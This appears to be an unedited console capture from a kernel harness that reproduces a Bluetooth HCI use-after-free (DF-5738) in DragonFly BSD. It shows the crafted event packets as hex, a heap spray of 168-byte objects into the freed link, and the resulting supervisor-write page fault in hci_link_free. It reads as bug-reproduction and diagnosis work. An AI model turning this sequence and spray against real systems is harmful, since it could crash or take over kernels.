DF-5738 baseline run — serial console / dmesg transcript (unedited capture)
Guest: DragonFly 6.5-DEVELOPMENT #0 X86_64_GENERIC, 6 CPUs, KVM
Module: hci_link_harness.ko (verbatim production netbt sources, md5s in setup.log)

$ kldload /root/hcih/hci_link_harness.ko
$ sysctl hw.hlh_setup=1
[harness] hci_link_harness loaded: hlh_setup, hlh_sco_anchor, hlh_fire_discon, hlh_uaf, hlh_race_arm, hlh_race_discon, hlh_race_frag, hlh_state
[harness] === setup: attach unit + ACL link #5 (OPEN) ===
[harness] unit 0xfffff8004f2e72a0 ACL link 0xfffff8004f20a940 handle #5 refcnt=0 links=1
$ sysctl hw.hlh_sco_anchor=1
[harness] === DF-5738 setup: Connection_Request(SCO) for bdaddr of OPEN ACL link #5 ===
[harness] production path: hci_event_con_req() -> hci_sco_newconn() -> hci_acl_open() takes anchor ref
[harness] <- Connection_Request(SCO) (13 bytes): 04 04 0a 11 22 33 44 55 66 22 22 22 00
[harness] after SCO anchor: ACL link #5 hl_refcnt=1 (anchor only, no L2CAP channels), unit links=2, sco_newconn=1
[harness] EXPECT hl_refcnt == 1: the SCO link's hci_acl_open() reference (hci_link.c:810)
$ sysctl hw.hlh_state=1
[harness] state: unit links=2
[harness]  link 0xfffff8004f20a9f0 type=0 state=0 handle=0 refcnt=0 txqlen=0 rxp=0
[harness]  link 0xfffff8004f20a940 type=1 state=5 handle=5 refcnt=1 txqlen=0 rxp=0
[harness] sco_newconn=1 sco_disconnected=0 cmds_sent=1
$ sysctl hw.hlh_fire_discon=2        # CONTROL: SCO-first ordering
[harness] === DF-5738 control: SCO-first ordering (what hci_cmd_reset assumes) ===
[harness] <- Connection_Complete(SCO handle 9) (14 bytes): 04 03 0b 00 09 00 11 22 33 44 55 66 00 00
[harness] <- Disconnect_Complete(handle 9) (7 bytes): 04 05 04 00 09 00 13
[harness] SCO-first control done: ACL refcnt=0 links=1 sco_disconnected=1 (clean, no panic)
[harness] state: unit links=1
[harness]  link 0xfffff8004f20a940 type=1 state=5 handle=5 refcnt=0 txqlen=0 rxp=0
[harness] sco_newconn=1 sco_disconnected=1 cmds_sent=1
$ sysctl hw.hlh_uaf=1                # FIRE
[harness] === DF-5738 UAF sequence (offsetof(hl_refcnt)=38, sizeof(hci_link)=168) ===
[harness] <- Connection_Request(SCO) (13 bytes): 04 04 0a 11 22 33 44 55 66 22 22 22 00
[harness] 1) anchored: ACL link #5 refcnt=1 links=2
[harness]    SCO link 0xfffff8004f20a7e0 pcb 0xfffff8008976ba40 hl_link=0xfffff8008fa92240 (== ACL#5)
[harness] <- Disconnect_Complete(5) (7 bytes): 04 05 04 00 05 00 13
[harness] 2) ACL#5 freed: links=1 (SCO still holds hl_link=0xfffff8008fa92240 -- DANGLING)
[harness] 3) sprayed 256 x 168-byte objects (0xa5)
[harness] <- Connection_Complete(SCO 9) (14 bytes): 04 03 0b 00 09 00 11 22 33 44 55 66 00 00
[harness] <- Disconnect_Complete(9) (7 bytes): 04 05 04 00 09 00 13

 --- guest dies here ---

Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address	= 0x78
fault code		= supervisor write data, page not present
instruction pointer	= 0x8:0xffffffff82602ffb
stack pointer	        = 0x10:0xfffff8008d1f8940
frame pointer	        = 0x10:0xfffff8008d1f8960
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= Idle
current thread          = pri 12 (CRIT)
kernel: type 12 trap, code=2

CPU0 stopping CPUs: 0x0000003e
 stopped
Stopped at      hci_link_free+0x2cb:    movq    %rdx,0x78(%rax)
db>

RESULT: reproduced.  Fatal trap (supervisor WRITE) inside production
hci_link_free() while processing the SCO teardown events for the link
whose ACL anchor had been kfree'd two steps earlier with hl_refcnt == 1.
The CONTROL (SCO-first) ordering was clean, isolating the defect to
hci_link_free()'s failure to release SCO anchors.